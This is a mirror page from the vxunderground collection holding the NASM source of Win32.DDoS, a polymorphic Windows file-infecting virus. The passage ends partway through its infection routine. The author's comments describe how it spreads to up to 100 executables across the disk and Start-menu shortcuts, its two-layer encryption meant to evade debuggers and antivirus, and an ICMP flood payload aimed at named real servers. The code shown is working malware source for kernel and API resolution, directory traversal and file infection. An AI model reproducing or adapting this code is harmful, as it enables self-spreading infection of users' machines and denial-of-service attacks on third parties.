mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
2363 lines
73 KiB
NASM
2363 lines
73 KiB
NASM
;
|
|
; ***************************************************************************
|
|
; -----------------[ Win32.DDoS by SnakeByte { KryptoCrew } ]----------------
|
|
; ***************************************************************************
|
|
;
|
|
;
|
|
;
|
|
; Please note that it is illegal to spread viruses, so if you compile this
|
|
; code, just test it on a closed system and don't place it in the wild !
|
|
; I am not responsible for your actions .. as always ;)
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; This is the first Windows Virus I've written so far, and some parts are from
|
|
; Win32.Aztec by Billy Beleceb, because at the time i wrote this thing, not everything
|
|
; was clear in my mind, as it is now, hope I can present you some better things from me
|
|
; in the future.
|
|
;
|
|
; This is also my first polymorphic virus ever ;) so don't expect too much from the
|
|
; poly engine. I did not understand much of the code from other poly engines, but
|
|
; now, after coding one on my own, I do, so I maybe can code a better one the next time ;)
|
|
;
|
|
; The first layer is nearly completely polymorphic. I use junk opcodes like mov, add ...
|
|
; and try to keep track that they don't look completely useless.
|
|
; I also use several ways to decrypt the virus ( xor, neg, not .. ) and
|
|
; several methods to do the loop. The size will always be in ECX and
|
|
; the start in ESI, but i use several methods to put the values inside
|
|
; the registers so there is nothing static.
|
|
; The only static thing left is the call to the polymorphic decryptor ;(
|
|
;
|
|
;
|
|
; I was just able to test this thing on a Win95 PC, so I don't know if it will
|
|
; work on other systems, but I think it will. Two friends made some tests under
|
|
; NT and 2k with a beta, and it worked, so I hope this final version will also do.
|
|
;
|
|
;
|
|
; It tries to get the 4 following API's:
|
|
;
|
|
; - Kernel32.dll <- the only one we really need to work, the others are for fun
|
|
;
|
|
; - Imagehlp.dll <- try to create a valid CRC for the PE-Header of infected files
|
|
; - Advapi32.dll <- get some data from the registry
|
|
; - Winsck32.dll <- Payload : Ping-flood a server
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; What does this Virus do :
|
|
;
|
|
; - 1.st Generation infects just the current directory ( easier to infect just some files *eg* )
|
|
; - Get's API's with LoadLibraryA & GetProcAddress
|
|
; - Tries to load ImageHlp.dll to create checksums with the CheckSumMappedFile Function
|
|
; - Infects the current, the windows and the system directory and parses some
|
|
; random directory's on drive C:
|
|
; - Follows LNK - Files ( does not work with NT / 2k )
|
|
; - Removes and restores File-Attributes
|
|
; - Parses Drive C:, enters a folder with a chance of 1 to 3
|
|
; - Retrieves the Startmenue from registry and parses it ( follows LNK-Files there )
|
|
; - If everything runs well it will infect 100 files all over the disk
|
|
; - Generates a polymorph decryptor which will be used for all files infected in one run
|
|
; - Uses 2 layers of decryption ( 1st is poly, 2nd is harder to debug / emulate )
|
|
; - Does not infect files smaller than 40 kb
|
|
; - Will not infect files with AV, AN or DR in the filename
|
|
; - Payload is a icmp flood on one of these servers :
|
|
;
|
|
; Sunday = www.bundesnachrichtendienst.de
|
|
; Monday = French Secret Service ( dgse.citeweb.net )
|
|
; Tuesday = www.avp.com ( AV )
|
|
; Wednesday = www.lockdown2000.com
|
|
; Thursday = www.f-secure.com
|
|
; Friday = www.norton.com
|
|
; Saturday = www.zonelabs.com
|
|
;
|
|
; *# Please note that i choose these servers because I think they can #*
|
|
; *# handle such an attack, if any idiot would release this into the wild. #*
|
|
;
|
|
;
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; To make this code working use TASM 5.0 and pewrsec.
|
|
;
|
|
;
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; Thanks and greetz fly to these people:
|
|
;
|
|
; Billy Beleceb - Your Win32 VWG is just great ..
|
|
; ( you'll find some of your code [Win32.Aztec] here ;)
|
|
; Evul - Thanks for hosting my site at coderz.net
|
|
; Ciatrix - Hope you carry on your good work with VDAT !
|
|
; SnakeMan - Hope you get more entrys *g* --> http://altavirus.cjb.net
|
|
; PhilippP - Thanks for the thrilling test in 2k .. ;)
|
|
; BumbleBee - Still thinking of Sex ?
|
|
; diediedie - Thnx for demotivating me... :)
|
|
; asmodeus - nice beginner lesson in poly ;)
|
|
; darkman - just believe me: the question was stupid ;)
|
|
;
|
|
;
|
|
;
|
|
;
|
|
;
|
|
; ***************************************************************************
|
|
; ---------------------------[ Here we start ]-------------------------------
|
|
; ***************************************************************************
|
|
|
|
.586p
|
|
.model flat
|
|
jumps ; Jumps get calculated
|
|
; ( I know not good for optimizing.. )
|
|
.radix 16 ; All numbers are Hexadecimal
|
|
; I once searched for a forgotten 'h'
|
|
; 2 weeks until I found this bug.. :P
|
|
|
|
; some API's
|
|
extrn ExitProcess:PROC ; fake host for 1. Generation
|
|
|
|
extrn MessageBoxA:PROC ; For testing purposes ( no longer needed )
|
|
; but i needed it for error-detection *g*
|
|
; 'cause I am too stupid to work with softice.. :(
|
|
|
|
.data ; fake data for TASM
|
|
db ? ; otherwise TASM would not compile this
|
|
; we store all our data in the code
|
|
; section, that's why we need to use
|
|
; pewrsec after compiling, to set the
|
|
; code section flags to write !
|
|
|
|
; some constants I don't want to calculate on my own *g*
|
|
VirusSize equ (offset VirusEnd - offset Virus )
|
|
CryptSize equ (offset VirusEnd - offset CryptStart )
|
|
NoCrypt equ (offset CryptStart - offset Virus )
|
|
FirstLSize equ (offset VirusEnd - offset FirstLayerStart )
|
|
Buffersize equ (offset EndBufferData - offset VirusEnd )
|
|
|
|
FILETIME STRUC
|
|
FT_dwLowDateTime dd ?
|
|
FT_dwHighDateTime dd ?
|
|
FILETIME ENDS
|
|
|
|
.code
|
|
|
|
; ***************************************************************************
|
|
; -------------[ Delta Offset and searching for the Kernel Addy ]------------
|
|
; ***************************************************************************
|
|
|
|
|
|
Virus: ; Here we go
|
|
|
|
call PDecrypt ; call the poly decryption routine
|
|
; which is located at the end of virus
|
|
; just a simple 'ret' in the first generation
|
|
|
|
FirstLayerStart: ; here starts the first layer
|
|
; everything will be crypted from here on
|
|
|
|
call Delta ; let's get the delta - offset
|
|
|
|
Delta:
|
|
mov ebp, offset Delta ; I want to do this a bit different
|
|
neg ebp ; than usual, who knows, maybe this
|
|
pop eax ; fools some bad heuristics
|
|
add ebp, eax
|
|
|
|
or ebp, ebp ; we don't need to decrypt the 1.
|
|
jz CryptStart ; Generation
|
|
|
|
; save esp
|
|
mov dword ptr [ebp+XESP], esp
|
|
|
|
|
|
mov ecx, (CryptSize / 2) ; the lenght of crypted part in words
|
|
mov dx, word ptr [ebp+Key]
|
|
lea esp, [ebp+CryptStart] ; set esp to the start of the decrypted part
|
|
|
|
DeCryptLoop: ; let's decrypt the virus
|
|
pop ax ; we pop the body word by word
|
|
inc dx ; this method fucks with debuggers, who
|
|
xchg dl, dh ; trace with int 1h ( destroys stack )
|
|
xchg al, ah
|
|
xor ax, dx
|
|
not ax
|
|
push ax
|
|
add esp, 2h
|
|
loop DeCryptLoop
|
|
; restore esp
|
|
mov esp, dword ptr [ebp+XESP]
|
|
|
|
jmp CryptStart ; start virus
|
|
|
|
Key dw 0h ; our key
|
|
XESP dd 0h ; we save the esp here
|
|
|
|
db 4 dup (90h) ; some nop's so we will not jump into a instruction
|
|
; ( happened sometimes during testing :( )
|
|
; because of the prefech queue buffer ( or whatever this is spelled .. )
|
|
CryptStart:
|
|
; we save these two values ( EIP & Imagebase )
|
|
; to be able to return to the original host..
|
|
mov eax, dword ptr [ebp+OldEIP]
|
|
mov dword ptr [ebp+retEIP], eax
|
|
mov eax, dword ptr [ebp+OldBase]
|
|
mov dword ptr [ebp+retBas], eax
|
|
|
|
mov eax, dword ptr fs:[0] ; save the original SEH
|
|
mov dword ptr [ebp+SEH_Save], eax
|
|
|
|
mov esi, [esp] ; let's get the return address of the Create Process API
|
|
xor si, si ; round it to a full page
|
|
|
|
push dword ptr [ebp+Error_ExecuteHost]
|
|
mov fs:[0], esp ; set new SEH
|
|
|
|
call GetKernel ; try to get it
|
|
jnc GetApis ; If got it we try to retrieve the API's
|
|
|
|
; Otherwise, we try to check for
|
|
; the kernel at some fixed addresses
|
|
; But the way above should work most
|
|
; of the times.. :)
|
|
|
|
mov esi, 0BFF70000h ; try the Win95 Kernel Addy
|
|
call GetKernel
|
|
jnc GetApis
|
|
|
|
mov esi, 077F00000h ; try the WinNT Kernel Addy
|
|
call GetKernel
|
|
jnc GetApis
|
|
|
|
mov esi, 077e00000h ; try the Win2k Kernel Addy
|
|
call GetKernel
|
|
jnc GetApis
|
|
; if we still did not found the
|
|
jmp Error_ExecuteHost ; kernel we stop the virus
|
|
; and execute the goat
|
|
|
|
|
|
; ***************************************************************************
|
|
; -------------------------[ let's get the API's ]---------------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
; These are the 2 API's we search in the Kernel
|
|
; we need them to get all the others API's
|
|
; I prefer LoadLibraryA to GetModuleHandle,
|
|
; because it is no longer nessecairy, that the
|
|
; file we infect loads the dll files we need,
|
|
; we load them on our own,... ;)
|
|
; This means, we can use almost any API we want to *eg*
|
|
; LoadLibraryA also returns the Module-Handle, but
|
|
; if it is not loaded it loads it ... bla.. ;P
|
|
|
|
LL db 'LoadLibraryA', 0h ; we need these API's for searching..
|
|
GPA db 'GetProcAddress', 0h
|
|
|
|
GetApis: ; Offset of the Kernel32.dll PE-Header is in EAX
|
|
|
|
mov [ebp+KernelAddy], eax ; Save it
|
|
mov [ebp+MZAddy], ebx
|
|
|
|
lea edx, [ebp+LL] ; Points to name of the LoadLibaryA - API
|
|
mov ecx, 0Ch ; Lenght of Name
|
|
call SearchAPI1 ; search it..
|
|
mov [ebp+XLoadLibraryA], eax
|
|
; Save the Addy
|
|
|
|
xchg eax, ecx ; If we didn't get this API or the other one, we quit !
|
|
jecxz ExecuteHost ; thnx to Billy ;)
|
|
|
|
lea edx, [ebp+GPA] ; Points to name of the GetProcAddress - API
|
|
mov ecx, 0Eh ; Lenght of Name
|
|
call SearchAPI1
|
|
mov [ebp+XGetProcAddress], eax
|
|
; Save the Addy
|
|
|
|
xchg eax, ecx ; check if we failed
|
|
jecxz ExecuteHost ; ( thnx again, nice way of optimization *g* )
|
|
|
|
; Now we have our 2 nessecairy API's
|
|
jmp GetAPI2 ; and are able to get the others
|
|
; Yes I know this jmp is not very optimizing.. ;)
|
|
; But storing the data here helps me understanding
|
|
; my code *bg*
|
|
|
|
; this dll is delivered with every version
|
|
KERNEL32 db 'Kernel32',0 ; of windows, so we will get it always ( ..most likely *g* )
|
|
; the virus relies on it
|
|
|
|
IMAGEHLP db 'Imagehlp',0 ; this dll is not nessecairily needed, but dll's will
|
|
; only get infected, if we are able to use the CheckSumMappedFile
|
|
; Function from this dll to create a checksum
|
|
; it is delivered with win9x, NT and several compilers.
|
|
|
|
ADVAPI db 'advapi32',0 ; this dll is neccessairy to retrieve the startmenue folder
|
|
; from registry, so we are able to follow the shortcuts there
|
|
|
|
WSOCK db 'wsock32.dll',0
|
|
; we need this one here to perform a ping
|
|
; ( not needed for the virus, but the payload )
|
|
|
|
GetAPI2: ; We get them, by grabbing the handles of
|
|
; different DLL's first and use GetProcAddress
|
|
; to locate the API's itself
|
|
|
|
; Let's get the Handles by calling
|
|
; the LoadLibrary API.. :)
|
|
; if we fail to get the
|
|
; Kernel32, we execute the
|
|
; original host
|
|
|
|
lea eax, [ebp+KERNEL32]
|
|
push eax
|
|
call dword ptr [ebp+XLoadLibraryA]
|
|
mov [ebp+K32Handle], eax
|
|
test eax, eax
|
|
jz ExecuteHost
|
|
|
|
lea eax, [ebp+IMAGEHLP]
|
|
push eax
|
|
call dword ptr [ebp+XLoadLibraryA]
|
|
mov [ebp+IHLHandle], eax
|
|
|
|
lea eax, [ebp+ADVAPI]
|
|
push eax
|
|
call dword ptr [ebp+XLoadLibraryA]
|
|
mov [ebp+ADVHandle], eax
|
|
|
|
lea eax, [ebp+WSOCK]
|
|
push eax
|
|
call dword ptr [ebp+XLoadLibraryA]
|
|
mov [ebp+W32Handle], eax
|
|
|
|
|
|
lea esi, [ebp+Kernel32Names]
|
|
lea edi, [ebp+XFindFirstFileA]
|
|
mov ebx, [ebp+K32Handle]
|
|
push NumberOfKernel32APIS
|
|
pop ecx
|
|
call GetAPI3
|
|
|
|
lea esi, [ebp+ImageHLPNames]
|
|
lea edi, [ebp+XCheckSumMappedFile]
|
|
mov ebx, [ebp+IHLHandle]
|
|
xor ecx, ecx
|
|
inc ecx
|
|
call GetAPI3
|
|
|
|
lea esi, [ebp+ADVAPI32Names]
|
|
lea edi, [ebp+XRegOpenKeyExA]
|
|
mov ebx, [ebp+ADVHandle]
|
|
push 3d
|
|
pop ecx
|
|
call GetAPI3
|
|
|
|
|
|
lea esi, [ebp+WSOCK32Names]
|
|
lea edi, [ebp+Xsocket]
|
|
mov ebx, [ebp+W32Handle]
|
|
push 3d
|
|
pop ecx
|
|
call GetAPI3
|
|
|
|
|
|
; ***************************************************************************
|
|
; ------------------[ Outbreak ! Here we start infecting ]-------------------
|
|
; ***************************************************************************
|
|
|
|
; Now we got everything we need to
|
|
; start infecting some files *eg*
|
|
; First of all we retrieve the
|
|
; foldernames of the current folder,
|
|
; the system folder, and the windows folder
|
|
; these are the folders we start to infect
|
|
lea edi, [ebp+curdir]
|
|
push edi
|
|
push 7Fh
|
|
call dword ptr [ebp+XGetCurrentDirectoryA]
|
|
|
|
|
|
call genPoly ; before we infect anything, we
|
|
; create a poly decryptor used for
|
|
; all files we infect = slow poly !
|
|
|
|
mov [ebp+InfCounter], 10d ; Number of files we want to infect !
|
|
call InfectCurDir ; first of all we infect the current directory
|
|
|
|
or ebp, ebp ; if this is the first generation, we infect just
|
|
jz ExecuteHost ; the first directory ( makes it easier to infect
|
|
; just some files .. *g*
|
|
; we also don't start the payload !
|
|
|
|
push 7Fh ; buffer - size
|
|
; 7fh = 127d = max lenght of Directory name
|
|
lea edi, [ebp+windir] ; Pointer to the offset where we save the directory
|
|
push edi
|
|
call dword ptr [ebp+XGetWindowsDirectoryA]
|
|
|
|
lea edi, [ebp+windir] ; then we infect the windows directory
|
|
push edi
|
|
call dword ptr [ebp+XSetCurrentDirectoryA]
|
|
mov [ebp+InfCounter], 10d
|
|
call InfectCurDir
|
|
|
|
; we save both directory's in the same buffer
|
|
push 7Fh ; so we save 127 Bytes of the Buffersize
|
|
lea edi, [ebp+windir]
|
|
push edi
|
|
call dword ptr [ebp+XGetSystemDirectoryA]
|
|
|
|
lea edi, [ebp+windir] ; and the system directory ..
|
|
push edi
|
|
call dword ptr [ebp+XSetCurrentDirectoryA]
|
|
mov [ebp+InfCounter], 10d
|
|
call InfectCurDir
|
|
|
|
; if everything went fine, we have
|
|
; infected now up to 30 files !
|
|
; Is this enough ?
|
|
; ( please note that this is a rhetorical question *g* )
|
|
; We want more !
|
|
|
|
|
|
; ***************************************************************************
|
|
; -----------------------[ Parse Directory's ]-------------------------------
|
|
; ***************************************************************************
|
|
|
|
InitParsing:
|
|
|
|
mov [ebp+InfCounter], 30d ; let's parse some directorys for
|
|
; 30 more files !
|
|
|
|
lea edi, [ebp+RootDir]
|
|
call dword ptr [ebp+XSetCurrentDirectoryA]
|
|
call ParseFolder
|
|
|
|
; if we are not able to access the registry we
|
|
; infect another 20 Files in the System-Directory
|
|
|
|
cmp dword ptr [ebp+XRegOpenKeyExA], 0h
|
|
je InfectWinDirAgain
|
|
call GetStartMenue ; last but not least, we try to parse the
|
|
; start-menue folder ( follow the LNK's )
|
|
; to get 20 more files
|
|
; with some luck, we infect 100 files each run
|
|
; all over the HD *g*
|
|
; I think this can be called successfull spreading *g*
|
|
lea edi, [ebp+windir]
|
|
call dword ptr [ebp+XSetCurrentDirectoryA]
|
|
|
|
InfectWinDirAgain:
|
|
mov [ebp+InfCounter], 20d
|
|
call ParseFolder ; let's parse the startmenue and follow all
|
|
; LNK-Files inside ;)
|
|
|
|
jmp PayLoad ; start the evil part of this thingie ..
|
|
|
|
|
|
ParseFolder:
|
|
call InfectCurDir ; infect the current directory
|
|
cmp [ebp+InfCounter],0
|
|
jbe EndParsing ; we infected enough ? ok, leave !
|
|
|
|
lea esi, [ebp+Folders]
|
|
Call FindFirstFileProc
|
|
inc eax
|
|
jz EndParsing ; If there are no directorys we return
|
|
dec eax ; otherwise we save the handle
|
|
|
|
GetOtherDir:
|
|
; first of all we check if this
|
|
; is a valid directory
|
|
mov eax, dword ptr [ebp+WFD_dwFileAttributes]
|
|
and eax, 10h ; if not we get the next
|
|
jz NoThisOne ; one
|
|
|
|
lea esi, [ebp+WFD_szFileName]
|
|
cmp byte ptr [esi], '.' ; we will not parse into . or ..
|
|
je NoThisOne ; directorys
|
|
|
|
push 03h
|
|
pop ecx
|
|
call GetRand
|
|
|
|
dec edx ; if division-rest (edx) = 1
|
|
jz ParseNewDir ; we get this directory
|
|
|
|
NoThisOne:
|
|
|
|
call FindNextFileProc
|
|
|
|
test eax, eax
|
|
jnz GetOtherDir
|
|
|
|
EndParseDir2: ; we close the search - Handle
|
|
|
|
mov eax, dword ptr [ebp+FindHandle]
|
|
push eax
|
|
call dword ptr [ebp+XFindClose]
|
|
|
|
EndParsing: ; we just return
|
|
ret
|
|
|
|
ParseNewDir: ; we got a direcory, let's change to it
|
|
; and infect it.. *eg*
|
|
mov eax, dword ptr [ebp+FindHandle]
|
|
push eax
|
|
call dword ptr [ebp+XFindClose]
|
|
|
|
lea esi, [ebp+WFD_szFileName]
|
|
push esi
|
|
call dword ptr [ebp+XSetCurrentDirectoryA]
|
|
|
|
|
|
jmp ParseFolder
|
|
|
|
; ***************************************************************************
|
|
; -----------------[ Let's get the Startmenue folder ]-----------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
GetStartMenue: ; Let's try to open HKEY_USERS registry Key
|
|
|
|
lea esi, [ebp+RegHandle]
|
|
push esi
|
|
push 001F0000h ; complete access
|
|
push 0h ; reserved
|
|
lea esi, [ebp+SubKey]
|
|
push esi
|
|
push 80000003h ; HKEY_USERS
|
|
call dword ptr [ebp+XRegOpenKeyExA]
|
|
|
|
test eax, eax ; if we failed opening the key, we return
|
|
jnz NoStartMenue
|
|
|
|
; let's get the value
|
|
lea esi, [ebp+BufferSize]
|
|
push esi
|
|
lea esi, [ebp+windir]
|
|
push esi
|
|
lea esi, [ebp+ValueType]
|
|
push esi ; Type of Value
|
|
push 0 ; reserved
|
|
lea esi, [ebp+Value]
|
|
push esi ; ValueName
|
|
mov eax, [ebp+RegHandle]
|
|
push eax ; Reg-Key Handle
|
|
call dword ptr [ebp+XRegQueryValueExA]
|
|
|
|
mov eax, dword ptr [ebp+RegHandle]
|
|
push eax
|
|
call dword ptr [ebp+XRegCloseKey]
|
|
|
|
NoStartMenue:
|
|
|
|
ret
|
|
|
|
SubKey db '.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
|
|
Value db 'Start Menu',0
|
|
ValueType dd 0h ; Type of registry Value
|
|
BufferSize dd 7Fh ; size of buffer
|
|
|
|
; ***************************************************************************
|
|
; ----------------[ API - Tables and some other data ]-----------------------
|
|
; ***************************************************************************
|
|
|
|
; Misc Data .. ;)
|
|
Folders db '*.',0 ; search for directory's
|
|
RootDir db 'C:\',0 ; we want to start parsing at root of Drive C:
|
|
|
|
; Here follow the tables of the api's we use
|
|
; for our virus, if you want to know what they
|
|
; do exactly simply check the Win32
|
|
; Programmer's Reference
|
|
; I won't explain them ( I think the names of them
|
|
; makes it clear enough *g* )
|
|
|
|
Kernel32Names: ; 17d API's we want from Kernel32.dll
|
|
|
|
NumberOfKernel32APIS equ 17d
|
|
|
|
db 'FindFirstFileA', 0
|
|
db 'FindNextFileA', 0
|
|
db 'FindClose', 0
|
|
db 'CreateFileA', 0
|
|
db 'SetFileAttributesA', 0
|
|
db 'CloseHandle', 0
|
|
db 'CreateFileMappingA', 0
|
|
db 'MapViewOfFile', 0
|
|
db 'UnmapViewOfFile', 0
|
|
db 'GetWindowsDirectoryA', 0
|
|
db 'GetSystemDirectoryA', 0
|
|
db 'GetCurrentDirectoryA', 0
|
|
db 'SetCurrentDirectoryA', 0
|
|
db 'GetFileAttributesA', 0
|
|
db 'GetTickCount', 0
|
|
db 'CreateThread',0
|
|
db 'GetSystemTime',0
|
|
|
|
ImageHLPNames:
|
|
db 'CheckSumMappedFile', 0h
|
|
|
|
ADVAPI32Names:
|
|
db 'RegOpenKeyExA',0
|
|
db 'RegQueryValueExA',0
|
|
db 'RegCloseKey',0
|
|
|
|
WSOCK32Names:
|
|
db 'socket',0
|
|
db 'WSACleanup',0
|
|
db 'WSAStartup',0
|
|
db 'closesocket',0
|
|
db 'sendto',0
|
|
db 'setsockopt',0
|
|
|
|
; ***************************************************************************
|
|
; --------------[ Retrieve API's with GetProcAddress ]-----------------------
|
|
; ***************************************************************************
|
|
|
|
; esi points to the Table of Names
|
|
; edi to the offsets
|
|
; ebx contains the module-handle
|
|
; ecx the number of API's
|
|
GetAPI3:
|
|
push ecx ; save ecx
|
|
|
|
push esi ; push api-name
|
|
push ebx ; Push Module-Handle
|
|
; call GetProcAddress
|
|
|
|
call dword ptr [ebp+XGetProcAddress]
|
|
stosd ; store api-offset
|
|
|
|
pop ecx ; did we get them all ?
|
|
dec ecx
|
|
jz EndApi3 ; if yes then return
|
|
|
|
push ecx ; otherwise move esi to next API-Name
|
|
|
|
SearchZero: ; we search for the end of the current
|
|
cmp byte ptr [esi], 0h
|
|
je GotZero ; api name ( always 0h ) and increase
|
|
inc esi
|
|
jmp SearchZero
|
|
|
|
GotZero:
|
|
inc esi
|
|
pop ecx ; get ecx ( counter )
|
|
|
|
jmp GetAPI3 ; retrieve Next API
|
|
|
|
EndApi3:
|
|
ret
|
|
|
|
|
|
; ***************************************************************************
|
|
; --------------[ Search Kernel Export Table for API's ]---------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
SearchAPI1: ; In this procedure we search for the first 2 API's
|
|
; clear the counter
|
|
and word ptr [ebp+counter], 0h
|
|
|
|
mov eax, [ebp+KernelAddy] ; Load the PE-Header Offset
|
|
|
|
mov esi, [eax+78h] ; Get Export Table Address
|
|
add esi, [ebp+MZAddy] ; normalize RVA
|
|
add esi, 1Ch ; skip not needed data
|
|
; now we gave the Address Table RVA-Offset in esi
|
|
|
|
lodsd ; Get Address Table RVA
|
|
add eax, [ebp+MZAddy] ; convert to VA and save it
|
|
mov dword ptr [ebp+ATableVA], eax
|
|
|
|
lodsd ; Get Name Pointer Table RVA
|
|
add eax, [ebp+MZAddy] ; make it VA and save it
|
|
mov dword ptr [ebp+NTableVA], eax
|
|
|
|
lodsd ; Get Ordinal Table RVA
|
|
add eax, [ebp+MZAddy] ; guess what ? *g*
|
|
mov dword ptr [ebp+OTableVA], eax
|
|
|
|
mov esi, [ebp+NTableVA] ; Get the Name Pointer Table Addy in esi
|
|
|
|
|
|
SearchNextApi1:
|
|
push esi ; Save Pointer Table
|
|
lodsd
|
|
add eax, [ebp+MZAddy] ; make it VA
|
|
|
|
mov esi, eax ; API Name in the Kernel Export API
|
|
mov edi, edx ; API we are looking for
|
|
push ecx ; save the size
|
|
|
|
cld ; Clear direction Flag
|
|
rep cmpsb ; Compare it
|
|
pop ecx
|
|
jz FoundApi1 ; Are they equal ?
|
|
|
|
pop esi ; Get the Pointer Table
|
|
add esi, 4h ; Set Pointer to the next api
|
|
inc word ptr [ebp+counter]
|
|
cmp word ptr [ebp+counter], 2000h
|
|
je NotFoundApi1
|
|
jmp SearchNextApi1 ; test next API
|
|
|
|
FoundApi1:
|
|
pop esi ; clear stack ( we don't want buffer overflows
|
|
; ok, we want them, but not here *bg* )
|
|
|
|
movzx eax, word ptr [ebp+counter]
|
|
shl eax, 1h ; multiply eax with 2
|
|
; Make eax Point to the right entry inside the
|
|
; Ordinal Table
|
|
add eax, dword ptr [ebp+OTableVA]
|
|
xor esi, esi ; clear esi
|
|
xchg eax, esi ; make esi point to the entry
|
|
lodsw ; get Ordinal in AX
|
|
shl eax, 2h ; eax * 4
|
|
add eax, dword ptr [ebp+ATableVA]
|
|
mov esi, eax ; esi points to the address RVA
|
|
lodsd ; eax = address RVA
|
|
add eax, [ebp+MZAddy] ; Make it VA
|
|
|
|
ret ; Return with API-Addy in eax
|
|
|
|
NotFoundApi1:
|
|
xor eax, eax ; We didn't find the API we need :(
|
|
ret ; We set EAX to 0 to show we have to
|
|
; return to the host..
|
|
|
|
; ***************************************************************************
|
|
; -------------------[ Execute the original Program ]------------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
|
|
ExecuteHost: ; Here we execute the original program
|
|
|
|
lea edi, [ebp+curdir] ; we return to the original directory..
|
|
push edi
|
|
call dword ptr [ebp+XSetCurrentDirectoryA]
|
|
|
|
or ebp, ebp ; if this is a virus of the first generation
|
|
jz FirstGenHost ; we can't return to a host, so we
|
|
; stop this with ExitProcess..
|
|
Error_ExecuteHost:
|
|
mov eax, dword ptr [ebp+SEH_Save]
|
|
push eax
|
|
mov fs:[0], esp
|
|
|
|
|
|
mov eax,12345678h ; here we return to
|
|
org $-4 ; the old entry point
|
|
retEIP dd 0h ; of the infected file
|
|
|
|
add eax,12345678h
|
|
org $-4
|
|
retBas dd 0h
|
|
|
|
jmp eax
|
|
|
|
|
|
FirstGenHost:
|
|
push 0h ; Stop executing this stuff ( first Generation
|
|
call ExitProcess ; only )
|
|
|
|
|
|
OldEIP dd 0h ; Old Entry Point
|
|
OldBase dd 0h ; Old Imagebase
|
|
|
|
NewEIP dd 0h ; New Entry Point ( points to our virus.. )
|
|
|
|
; ***************************************************************************
|
|
; ----------------[ We try to find the Kernel Address ]----------------------
|
|
; ***************************************************************************
|
|
|
|
GetKernel: ; Here we try to retrieve the Kernel
|
|
; set search range
|
|
mov byte ptr [ebp+K32Trys], 5h
|
|
|
|
GK1:
|
|
cmp byte ptr [ebp+K32Trys], 00h
|
|
jz NoKernel ; Did we pass our limit of 50 pages ?
|
|
|
|
call CheckMZSign ; Has this Page a DOS EXE-Header ?
|
|
jnc CheckPE
|
|
|
|
GK2:
|
|
sub esi, 10000h ; Get the next page
|
|
dec byte ptr [ebp+K32Trys]
|
|
jmp GK1 ; Check it
|
|
|
|
CheckPE: ; Let's check if we really found
|
|
mov edi, [esi+3Ch] ; the Kernel32.dll PE-Header
|
|
add edi, esi
|
|
call CheckPESign ; check for PE-Sign
|
|
|
|
jnc CheckDLL ; check for the DLL-Flag
|
|
jmp GK2
|
|
|
|
CheckDLL:
|
|
add edi, 16h ; check for the Dll-Flag
|
|
mov bx, word ptr [edi] ; get characteristics
|
|
and bx, 0F000h ; we need just the Dll-Flag
|
|
cmp bx, 02000h
|
|
jne GK2 ; if it is no dll go on searching
|
|
|
|
KernelFound: ; we found the Kernel32.dll
|
|
sub edi, 16h ; set edi to the PE - Header
|
|
xchg eax, edi ; save PE address in eax
|
|
xchg ebx, esi ; save MZ address in ebx
|
|
cld
|
|
ret
|
|
|
|
NoKernel: ; if not found we don't set the carriage flag
|
|
stc
|
|
ret ; return if not found
|
|
|
|
|
|
K32Trys db 5h ; Search-Range
|
|
|
|
|
|
; ***************************************************************************
|
|
; -----------------[ Infection of the current directory ]--------------------
|
|
; ***************************************************************************
|
|
|
|
|
|
InfectCurDir: ; Here we infect the files in the current directory
|
|
; we use the FindFirstFile - FindNextFile API's
|
|
; to scan all files for PE-Executables and
|
|
; LNK-Files.
|
|
lea esi, [ebp+filemask]
|
|
call FindFirstFileProc
|
|
|
|
inc eax
|
|
jz EndInfectCurDir1 ; If there are no files, we return
|
|
dec eax
|
|
|
|
InfectCurDirFile:
|
|
; filename in esi
|
|
lea esi, [ebp+WFD_szFileName]
|
|
call InfectFile ; Try to infect it !
|
|
|
|
cmp [ebp+InfCounter], 0h ; if we infected enough files
|
|
jna EndInfectCurDir2 ; we return
|
|
|
|
call FindNextFileProc
|
|
|
|
test eax, eax
|
|
jnz InfectCurDirFile
|
|
|
|
EndInfectCurDir2: ; we close the search - Handle
|
|
|
|
push dword ptr [ebp+FindHandle]
|
|
call dword ptr [ebp+XFindClose]
|
|
|
|
EndInfectCurDir1: ; we just return
|
|
ret
|
|
|
|
|
|
InfCounter db 0h ; Counter for the number of files we infect
|
|
; at max in the current directory
|
|
; ( could take too long if we want to infect them
|
|
; all )
|
|
|
|
FindHandle dd 0h ; The handle for the FindFirstFile API
|
|
|
|
filemask db '*.*', 0 ; we search for all files, not just exe files
|
|
|
|
; these structures are nessecairy
|
|
; for the FindFileFirst - FindFileNext API's
|
|
|
|
; ***************************************************************************
|
|
; ---------------------[ Prepare infection of file ]------------------------
|
|
; ***************************************************************************
|
|
|
|
InfectFile: ; Here we prepare to infect the file
|
|
; the filename is in [ebp+WFD_szFileName]
|
|
; we open it and check if it is something
|
|
; we are able to infect...
|
|
; esi points to the filename..
|
|
|
|
cmp byte ptr [esi], '.' ; check if we got .. or .
|
|
je NoInfection
|
|
; if the file is smaller than
|
|
; 200 Bytes it will not get checked or
|
|
; infected !
|
|
|
|
cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
|
|
jbe NoInfection
|
|
; we also don't infect it if it is too big
|
|
cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
|
|
jne NoInfection
|
|
|
|
call CheckFileName ; check for AV-Files
|
|
jc NoInfection
|
|
|
|
; Get File-Attributes
|
|
lea eax, [ebp+WFD_szFileName]
|
|
push eax
|
|
call dword ptr [ebp+XGetFileAttributesA]
|
|
; save them
|
|
mov dword ptr [ebp+Attributes], eax
|
|
|
|
inc eax
|
|
jz NoInfection ; if we failed we don't infect
|
|
dec eax
|
|
|
|
push 80h ; clean attributes
|
|
lea eax, [ebp+WFD_szFileName]
|
|
push eax
|
|
call dword ptr [ebp+XSetFileAttributesA]
|
|
or eax, eax ; if we fail, we don't open the file
|
|
jz NoInfection ; if we have no access to set the attributes,
|
|
; we will surely not be allowed to change the file itself
|
|
|
|
call OpenFile ; open the file
|
|
